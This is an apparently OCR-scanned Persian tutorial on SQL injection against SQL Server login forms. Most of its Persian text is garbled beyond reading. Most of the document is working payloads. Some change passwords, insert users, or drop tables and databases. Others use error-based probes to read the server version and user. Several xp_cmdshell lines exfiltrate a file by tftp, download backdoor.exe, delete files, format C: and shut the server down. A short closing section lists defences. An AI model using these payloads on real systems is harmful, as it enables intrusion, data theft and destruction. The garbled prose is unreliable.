+Username="Hoseini’ )) ,1,1,1+FROM+TblUser --

T ¢m|3_> O e (S g )‘ oolo las
Microsoft OLE DB Provider for SQL Server error ‘8004007’

Syntax error converting the nvarchar value ‘1234’ to a column of data type int

ool 12347 ()15 0l PASSWOID (glyime 45 0o g oo g2 YU (glas 0 cds L

Sl i Y—F
5555y S oMbl yuuis 1-Y-F

L plp ol Password 4 ‘Hoseini’ b . 5 UserName a5 wmois axgie (8 Jlo o

RS sl i Jlade S ) )18 o Password a5 ol el o il jo el ‘1234°

: MS‘SA 0)‘9 Login Cacound )Q
‘UPDAE+TblUser+Set+Password="a’+WHERE+Username="Hoseini’ --

bl i el cpl 40 a5 cul (o b oo i QT w15 ol PaSSWOrd s g oo

Al 0 i Gl peaw Sgw 3l 0 0lo sl
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o, 3l & o oleMbl s Y-Y-F

‘UPDATE+TblUser+Set+Password="a’+WHERE+UsserName+NOTIN(‘Hosen

1’,’karami’)--

Qb aslgs ‘@7 L pl, ‘Karami® g ‘HOoSeini” jou o)l 5,15 sles Password «jgws ol b

oS ol Jgestn Gl ‘C7 51 3555 LsT USEBINAME a5 Llas 58 ) oS eoliiul ) 9w 5l )51

‘UPDATE+TblUser+Set+Password="a’+WHERE+UserName>"C’ ;--

3,95 ) dod OleMb| oy Y-Y-F

‘UPDATE+TblUser+Set+Password="a

Wos wledbl 0 ¥-F

Sl ol oo (93T Lal ol G 9w (55, d97ge SNl osS g oy ) el B

t oS a8lol SEIVET (g4, (sools o0 4 sauas
o 0y85, gyo V-V-F

: p.vS alol Jogaz 4 py Slasin b g 0,8 MQ‘?LSA (S Jlo anlsl jo
UserName = ‘Amin’

Password= = ‘A1234°
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LS o0 05 ) 5 sl LOGIN e o
‘INSERT+INOT+TblUser(UserName,Password) VALUES(‘Amin’,’A1234;) --
A s 3,15 PasSWOrd 5 UserName s b oylss co 5l &0 50 s

W0 g gy V-F-F

ST Jle ;o 09 o0 oolaul ALTER TABLE jgus 5l Jgoz a0 g 50,5 adlal sl
4 sl e, g5 5l NeWFieldl o a4 swas gie SO (oS o)lg 1) 15 & be LOGIN s (o

R

ALTER TABLE TblUser ADD Newfield1 Varchar(30) —-
oMbl Bis> F-F

ol 03l oL 0y 0,050 (1 yiSU s 5l Sledlbl B> a5 4 oo (S y5lol ciou aalsl ) L3
LocalHoSt & g 1)) ol o wyls 1) jgims cpl 5l (6,8, 50 duad i oaiilys assbis

REV- ) fL?u‘

Q)SS) GSJ RS \-f-¥

g oo oolalul g jeiwd jleess ST aslal |l leogs (L8 al> 6 y0 45T s 5,65 ) Bd> (6l

‘DELETE FROM TblUser WHERE UserName="Amin’ --
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LQ&)’S) j‘ ‘SOL.\.&Y t—é;\’ "—f—f

L X or B 0dl 9,0 M7 G > L o T USEINAME o5 sles 65, pled jgiws ol b
‘DELETE FROM TblUser WHERE LEFT (UserName,1)="M’ —
Lo,e5 ) olod Bi> V-F-F
L s 65eomn gad anlys Bis sbiwl g THIUSEr Jgom slas,sS, oled p) jexms b
s o olgss jolo SEIVEN G,k 5l va o loia
‘DELETE FROM TblUser --
9w Bd> F-F-F
3,13 LOGIN plin as 1) 1) jgiws conl 315 ThIUSEr Jouo 51 Password g i sl
Lo,S
‘ALTER TABLE TblUser DROP COLUMN Password --
Jous o> B-F-¥
ool LOQIN amin 10«3 H5ws 31 5] 40 39290 Sledbl oles L TOIUSEr  Jous B3> ol
P9l o
‘DROP TABLE TblUser
odlo oL Vo F-F-F

P09 g0 oolaiwl 3 Hews eyl j0 0sz g0 Dledlbsl g ln Jgux ples aS slosls oKL B> (ol

W



wwwecollegeprozheh eir 03 9y G‘ (]

'DROP DATABASE MyDataBaseName --

el 00ls o554 o6 MyDataBaseName s

Culw g 00ld olUL 9w 4 alos

29w pb 04359 Cuwas O-F

S Olg |y p5 o le LOGIN cod jo 31
a’ or 1=Convert(int,@@servername)--
F S oo Lol ks ol S aalsl o 1) 55 & le uiS o Joe QUeryString s b 5l 51

http://localhost/saite/news.php?id=999" ' or 1=Convert(int,@ @servername) --

P39 g0 pobo s Byb 5l 5 gl play

Microsoft OLE DB Provider for SQL Server error ‘80040e07’

Syntax error converting the nvarchar value ‘SQLNEWS’ to a column of data
type int.

39 0319 099l Cowny #-F

Jali 4 59,0 0359 Q—‘ 2 &S dph o0 olo olbs slay Login Coond )0 5 Ojlie (0,5 0509 b
e s Gl

a' or 1=convert(int, @ @version)—
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Microsoft OLE DB Provider for SQL Server error ‘80040¢07’

Syntax error converting the nvarchar value ‘Microsoft SQL Server 2000 —
8.00.194(intel x86) Aug 6 2000 00:57:48 Copyright (c) 1988-2000 Microsoft
Corporation personal Edittion on Winodws 4.10 (Build 1998: ) ‘ to a column of
data type int.

SQL b 9 g2y el gy V-F

b sl sglserver 20000 ol o1 o5y Sl 2 odle g 4 alos Sl 51 labsl (6l
S s spn b o sla Gloplin 5 121 25 s5mws 50 0wl )85 58 6,500 Ll

P Jsl g

a' or 1=Convert(int,user_name()) --

tog dles 3 O Lle aile suls jolo sl
Microsoft OLE DB Provider for SQL Server error ‘80040e07’

Syntax error converting the nvarchar value ‘dbo’ to column of data type int.

TRYD Hgwsd
a' or 1=convert(int,system_user)--
: b}g ..\.Q‘P ).:) u)l,s.c 4\.».».‘.0 W S )‘ W) )«)Lo Lng

Microsoft OLE DB Provider for SQL Server error ‘80040e07’

Syntax error converting the nvarchar value ‘sa’ to column of data type int.
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il S8 pg j5twd (g5 0 5 (UDOT (gl jstes (g S j0 aesS B Ol aziliz
s>l aily a5 XP_Cmdshell b @ 5,0 55, » 99550 Stored procedure < ;1 )y oo

5,5 solaul w3l sage 4y 1, SQL J51s 51 DOS &l jgws

39w (5990 4 3905 A-F

b 5l ol slls sl Shiie wls a5 il 4395wl Lol 00,5 815 1, 125 ,siws XP_Cmdshell

o=5b SQL server

‘; exec MASTER.Xp Cmdshell+’'md C:\Temp’ —

w3l jopm 595 09790 C galyo ay) Cuypd 19,0 TEMP 6l 4 4515 Sy« 358 55w almsg &,

BB S 9,0 1 008 caal jm j9ding (o] 10 45 gly0 sy Slgizme Glgi oo p) 5 b g o0
poly I8 asly fles gy file.txt ol 4 s

‘; exec MASTER.XP Cmdshell ‘dir%systemroot%)\system32>filel.txt’ --
:8,5 Jate 095 JgnalS |y e b cnl TP das Slhgiws 5l eslital b ylgs oo Lpnn

‘; exec MASTER.XP_Cmdshell ‘tftp -1 <ip> put filel.txt’ --

b b bl S g s el 395 jgslS 1P oyl Gpae Ty <IP> o jle a5

s 0ges 1l 1T 6,558 jg5md b e 9 0,5 Upload |5,. 9, |, backdoor.exe

‘; exec MASTER.XP_Cmdshell ‘tftp —i <ip> GET backdoor.exe’ --
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:0,S B> |, SQLSEIVer asls ;o sg>ge slo bl ples oo o g j9iws b
‘; exe MASTR.XP_ Cmdshell ‘del *.* © --

Pl 455 aSiyl 90 5,5 (QUICK ) xy s FOMAL 1 55,0 C 5al)s ls5 oo 5 y5iws angs

10gh yolo ollas
‘; exec MASTER.XP Cmdshell ‘Format C:\U\Q\Autotest’ --

o 1) oobe etws b lei oo aSl G YU Slygws 5l oolinad a4 (63ks g, il IS 51 6l
[a] : ol 5 5 EBge 5 05905 DOWN 1, g,

‘; shutdown —
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A @2y OMes 3l g T gl b g,
ole 4wy o 9> b S gl 4 SQL INJECHioN o axg5 pg3) 5 Coenl 4 a5 55T

f"""SL_s‘o o)l..;’s| Q—‘ﬁ‘ﬁ)o cdaslos LgL(bufaj) ‘55-)-3

SQL Server ouis o msd slaasgy 3l oolaw! -0

5 b Jgax 4 )5 puias o yws ((Stored Procedures ) oo o3 slo Iy, 51 eslical b

Oeed g dlgzs L3 Solw 4 SQL wlle 3,5 sg5uss 4 Sgd oo adad ools oL slo View
a b e Lials SQL INjection o> Jlais! (s0gy5 ools g9 8 S laJly, opl oS
ool g oo 331 QUETYSENNG 5l oo sae o &y 10 15 aitoles amio 4o a6k Jlo lgze
Jg, 0 b yel b Jlas! slimas &g pl pé 30 a5 L il gove pé sla 255 g9l wilgs ooi 1]
69, SQL S ks jgiws a5 wb cos aslol aslip sla! Koo g 098 o0 jolo las plin wad 0,53

’59""" JLO-C‘ 03l olfal.s
SUyks by o5 )5 g Clds Gas V-0
: J..Ja.» 6‘ ool as-lusy SledS

Delete, Update, Insert, Select, Convert, Having, Group, Union, Alter, Drop,
Order, By

Dged B> (539,5 Sledlbl 5l b |,

o 25,5 L Replacce ab 5l oslinul 1, 15 o 25 lss SUjkas glo 258 oSyl fpod

Dges (Rl (riedas
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Ded a8 ndy a5 Y By o a5 Sl (il (6595 Sledbl Coo | lebsl sl ol i e

Jade oSyl 5l LS QUETYSEIINg o 50 ;5 logas 1,15 Laug oad o)y goe Sledbl 5,50 o
5 eolaiwl b 1) ) (gd ciedae o] 09 (g0ae oo 3l Wb S a8lol SQL ales 4 1) il b
CIng() 5 Cint() ,uls ools g9 Jows wlys o ISNUMETI() ,olss ols Jlade g45 oarsS J S ol

Slo plxl les o
t 39S 5 Jle jshe

Dim KeyNewsid as long
KeynewsID = clng (Request (“newsl™))

Uz plig alolddl (ail )T slesl jo so0e e (sl aloz ) ails (00 (5399 yualby 4505550 50

Py Alg50 (gam SUyhas ol e a4 5 5 ol dales olo
$99,9 wledbl gl jlxo Job (pani F-0

e Job S los crend Lol dgammels Sledbl il o slo (634,9 o5lail 45 0,105 a9y 2
Wz L85 ) rerlee gl 5 o 3l sote 3150 S5l oo )1 Langi (595, Sledlbl (gl
L Usernmae sl a5 coul 35 s 0,5 ogals |, SQL SEIVEr g o po 25,5 VY L Lo

0,5 8l 1y ) and, e oS ol Le L Password

‘; shutdown —-
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VRV PES
ol OleMb| S0, 0-0

S s 4 Loy e CONNECLIONSLIING yion o )l 5 PaSSWONd by ol Sledl|
Sygar b osd o (5,10 Config.php LG ;o Yeexs PHP s a5 1, 5,0 (5q, ools oL

255 6K 00l (6,5,

0old s Jub Juad yo a5 Hash M5 lss 592 ge o lailisl sladg, 5l wub 55 650, sl
w3l e b o8l dsSin] Yeano a5 155 0905 jud Wl el sloyhgy 5l g 0gh colatwl ol

g o 4 DEbUg 5 (), el

ools 1,5 System.Security,Cryptography b las o jekaie cran 4 1, SUISI ASP.Net

|
Dges oolazwl RSA, AES, DES &) 50, slaps ol 5l les o 5 PHP L5 0

RSA = NEW CRYPT_RSA():$

$RSA->LOADKEY ($PRIVATEKEY);

$PLAINTEXT = NEW MATH_BIGINTEGER('AAAAAA);
ECHO $RSA-> EXPONENTIATE(SPLAINTEXT)->TOBYTES();

7>

14
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:MD5 wJs (sl PHP o5 axls

<?PHP
$STR = "HELLO";

ECHO MD5($STR);

7>

Web buzo jo s s led puse £-0

29 gy e o 3l oyolo glallas wiig sloosls 5959 j0 s g e b rezlpe Loges
sols &y aaliy o sl a5 59 Siie )5 @ B g 058 ohb Sl Glp sl ohg Ao sl

Custom Ly, Tag aas Web.config Li o wb I8 i el sl ASP.Net s
Siules olnlS a eaid o i slalbs ols> G ols 1,5 Remote Only L 1, 1,  Errors )

[V-] 055 onls

sls 1,3 Config.php L6 ,s 1, cerror_reporting(0); ) &6 PHP :L; 50 4
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